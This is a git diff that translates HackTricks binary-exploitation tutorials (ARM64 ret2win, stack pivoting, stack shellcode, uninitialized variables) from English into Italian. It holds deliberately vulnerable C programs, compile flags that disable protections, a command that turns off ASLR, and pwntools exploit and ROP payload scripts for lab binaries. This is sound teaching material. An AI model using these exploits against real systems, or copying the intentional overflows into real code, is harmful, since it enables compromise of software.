a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 410cf5cf0..17e84aff5 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,109 +2,94 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Trova un'introduzione a arm64 in: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +Compila senza pie e canary: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` +## Trovare l'offset -## Finding the offset +### Opzione pattern -### Pattern option - -This example was created using [**GEF**](https://github.com/bata24/gef): - -Stat gdb with gef, create pattern and use it: +Questo esempio è stato creato utilizzando [**GEF**](https://github.com/bata24/gef): +Avvia gdb con gef, crea un pattern e usalo: ```bash gdb -q ./ret2win pattern create 200 run ``` -
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: - +arm64 cercherà di tornare all'indirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare l'offset del pattern: ```bash pattern search $x30 ``` -
-**The offset is 72 (9x48).** +**L'offset è 72 (9x48).** -### Stack offset option - -Start by getting the stack address where the pc register is stored: +### Opzione di offset dello stack +Inizia ottenendo l'indirizzo dello stack dove è memorizzato il registro pc: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ``` -
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: - +Ora imposta un breakpoint dopo il `read()` e continua fino a quando il `read()` viene eseguito e imposta un pattern come 13371337: ``` b *vulnerable_function+28 c ``` -
-Find where this pattern is stored in memory: +Trova dove questo modello è memorizzato in memoria:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** +Poi: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## No PIE -### Regular - -Get the address of the **`win`** function: +### Regolare +Ottieni l'indirizzo della funzione **`win`**: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` - -Exploit: - +Sfruttamento: ```python from pwn import * @@ -124,13 +109,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
### Off-by-1 -Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. - +In realtà, questo sarà più simile a un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutti gli indirizzi di ritorno, sovrascriveremo **solo gli ultimi 2 byte** con `0x06c4`. ```python from pwn import * @@ -150,22 +133,20 @@ p.send(payload) print(p.recvline()) p.close() ``` -
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. +Puoi trovare un altro esempio off-by-one in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), che è un vero off-by-**one** in una vulnerabilità fittizia. -## With PIE +## Con PIE > [!TIP] -> Compile the binary **without the `-no-pie` argument** +> Compila il binario **senza l'argomento `-no-pie`** ### Off-by-2 -Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: +Senza una leak non conosciamo l'indirizzo esatto della funzione vincente, ma possiamo conoscere l'offset della funzione dal binario e sapendo che l'indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile leakare l'offset alla funzione win (**0x7d4**) in questo caso e utilizzare semplicemente quell'offset:
- ```python from pwn import * @@ -185,5 +166,4 @@ p.send(payload) print(p.recvline()) p.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a786dea8e..b92f016b2 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -2,64 +2,61 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. - -As a reminder, **`leave`** basically means: +Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**. +Per ricordare, **`leave`** significa fondamentalmente: ``` mov ebp, esp pop ebp ret ``` - -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack. ### EBP2Ret -This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione. -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area in memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì.**\ +Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP. -#### Exploit Construction +#### Costruzione dell'Exploit -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**. -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare: -- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/) chain +- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget). +- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits). +- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire. +- Alcuna catena [**ROP**](../rop-return-oriented-programing/) -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione. #### Off-By-One Exploit -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.\ +Di solito viene modificato il byte 0x00 per saltare il più lontano possibile. -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita. ### **EBP Chaining** -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**. -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave` +- **`system()`** -> Chiamato da `ret` +- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà +- **`&("/bin/sh")`**-> Parametro per `system` -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma. -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. - -Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: +Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite. +Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina: ```python from pwn import * @@ -75,34 +72,32 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, - elf.sym['winner'] +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +## EBP potrebbe non essere utilizzato -## EBP might not be used - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. - -- **Not optimized:** +Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.\ +Questo perché i **prologhi ed epiloghi cambiano** se il binario è ottimizzato. +- **Non ottimizzato:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - -- **Optimized:** - +- **Ottimizzato:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` - -## Other ways to control RSP +## Altri modi per controllare RSP ### **`pop rsp`** gadget -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: - +[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'è una **leak dallo stack**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( - 0, # r13 - 0, # r14 - 0, # r15 - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, # r15 - elf.sym['winner'] +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 @@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( - POP_CHAIN, - buffer # rsp +POP_CHAIN, +buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` - ### xchg \, rsp gadget - ``` pop <=== return pointer xchg , rsp ``` - ### jmp esp -Check the ret2esp technique here: +Controlla la tecnica ret2esp qui: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +## Riferimenti e Altri Esempi - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- 64 bit, no relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questo "scrittura eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP. ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo dentro `x30`**. -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**. -- prologue +- prologo - ```armasm - sub sp, sp, 16 - stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 - mov x29, sp // FP points to frame record - ``` +```armasm +sub sp, sp, 16 +stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 +mov x29, sp // FP punta al record del frame +``` -- epilogue +- epilogo - ```armasm - ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] - add sp, sp, 16 - ret - ``` +```armasm +ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] +add sp, sp, 16 +ret +``` > [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da un **`SP` controllato** e **`RET`** a esso. -Also in the following page you can see the equivalent of **Ret2esp in ARM64**: +Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 187c832b7..86a140402 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. +**Stack shellcode** è una tecnica utilizzata nell'**exploitation binaria** in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**. -### C Example: A Vulnerable Program - -Let's start with a simple example of a vulnerable C program: +### Esempio C: Un Programma Vulnerabile +Iniziamo con un semplice esempio di un programma C vulnerabile: ```c #include #include void vulnerable_function() { - char buffer[64]; - gets(buffer); // Unsafe function that does not check for buffer overflow +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { - vulnerable_function(); - printf("Returned safely\n"); - return 0; +vulnerable_function(); +printf("Returned safely\n"); +return 0; } ``` +Questo programma è vulnerabile a un overflow del buffer a causa dell'uso della funzione `gets()`. -This program is vulnerable to a buffer overflow due to the use of the `gets()` function. - -### Compilation - -To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command: +### Compilazione +Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi utilizzare il seguente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-fno-stack-protector`: Disabilita la protezione dello stack. +- `-z execstack`: Rende lo stack eseguibile, il che è necessario per eseguire shellcode memorizzato nello stack. +- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione, rendendo più facile prevedere l'indirizzo di memoria in cui si troverà il nostro shellcode. +- `-m32`: Compila il programma come eseguibile a 32 bit, spesso utilizzato per semplicità nello sviluppo di exploit. -- `-fno-stack-protector`: Disables stack protection. -- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. -- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. -- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development. - -### Python Exploit using Pwntools - -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: +### Python Exploit usando Pwntools +Ecco come potresti scrivere un exploit in Python utilizzando **pwntools** per eseguire un attacco **ret2shellcode**: ```python from pwn import * @@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` +Questo script costruisce un payload composto da un **NOP slide**, il **shellcode**, e poi sovrascrive l'**EIP** con l'indirizzo che punta al NOP slide, assicurando che il shellcode venga eseguito. -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +Il **NOP slide** (`asm('nop')`) è usato per aumentare la possibilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento `p32()` all'indirizzo di partenza del tuo buffer più un offset per atterrare nel NOP slide. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +## Protezioni -## Protections +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protezione impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable. - -## Other Examples & References +## Altri Esempi & Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - - 64bit, ASLR with stack address leak, write shellcode and jump to it +- 64bit, ASLR con leak dell'indirizzo dello stack, scrivere shellcode e saltare a esso - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - - 32 bit, ASLR with stack leak, write shellcode and jump to it +- 32 bit, ASLR con leak dello stack, scrivere shellcode e saltare a esso - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it +- 32 bit, ASLR con leak dello stack, confronto per prevenire la chiamata a exit(), sovrascrivere una variabile con un valore e scrivere shellcode e saltare a esso - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 3ad3e61ac..91cac5956 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -2,47 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Trova un'introduzione a arm64 in: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie, canary and nx: - +Compila senza pie, canary e nx: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` - ## No ASLR & No canary - Stack Overflow -To stop ASLR execute: - +Per fermare ASLR eseguire: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +Per ottenere il [**offset del bof controlla questo link**](../ret2win/ret2win-arm64.md#finding-the-offset). -To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). - -Exploit: - +Sfruttamento: ```python from pwn import * @@ -73,9 +66,8 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` +L'unica cosa "complicata" da trovare qui sarebbe l'indirizzo nello stack da chiamare. Nel mio caso ho generato l'exploit con l'indirizzo trovato usando gdb, ma poi quando l'ho sfruttato non ha funzionato (perché l'indirizzo dello stack è cambiato un po'). -The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). - -I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. +Ho aperto il **`core` file** generato (`gdb ./bog ./core`) e ho controllato il vero indirizzo dell'inizio dello shellcode. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md index 6cde48bee..007e7540f 100644 --- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -1,68 +1,66 @@ -# Uninitialized Variables +# Variabili Non Inizializzate {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: +L'idea principale qui è comprendere cosa succede con **le variabili non inizializzate poiché avranno il valore che era già nella memoria a loro assegnata.** Esempio: -- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. -- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. +- **Funzione 1: `initializeVariable`**: Dichiaramo una variabile `x` e le assegniamo un valore, diciamo `0x1234`. Questa azione è simile a riservare un posto in memoria e mettere un valore specifico in esso. +- **Funzione 2: `useUninitializedVariable`**: Qui, dichiariamo un'altra variabile `y` ma non le assegniamo alcun valore. In C, le variabili non inizializzate non vengono automaticamente impostate a zero. Invece, mantengono qualunque valore fosse stato memorizzato per ultimo nella loro posizione di memoria. -When we run these two functions **sequentially**: +Quando eseguiamo queste due funzioni **in sequenza**: -1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. -2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. +1. In `initializeVariable`, `x` viene assegnato un valore (`0x1234`), che occupa un indirizzo di memoria specifico. +2. In `useUninitializedVariable`, `y` è dichiarato ma non gli viene assegnato un valore, quindi occupa il posto di memoria subito dopo `x`. A causa della mancata inizializzazione di `y`, finisce per "ereditarne" il valore dalla stessa posizione di memoria utilizzata da `x`, poiché quello è l'ultimo valore che c'era. -This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may 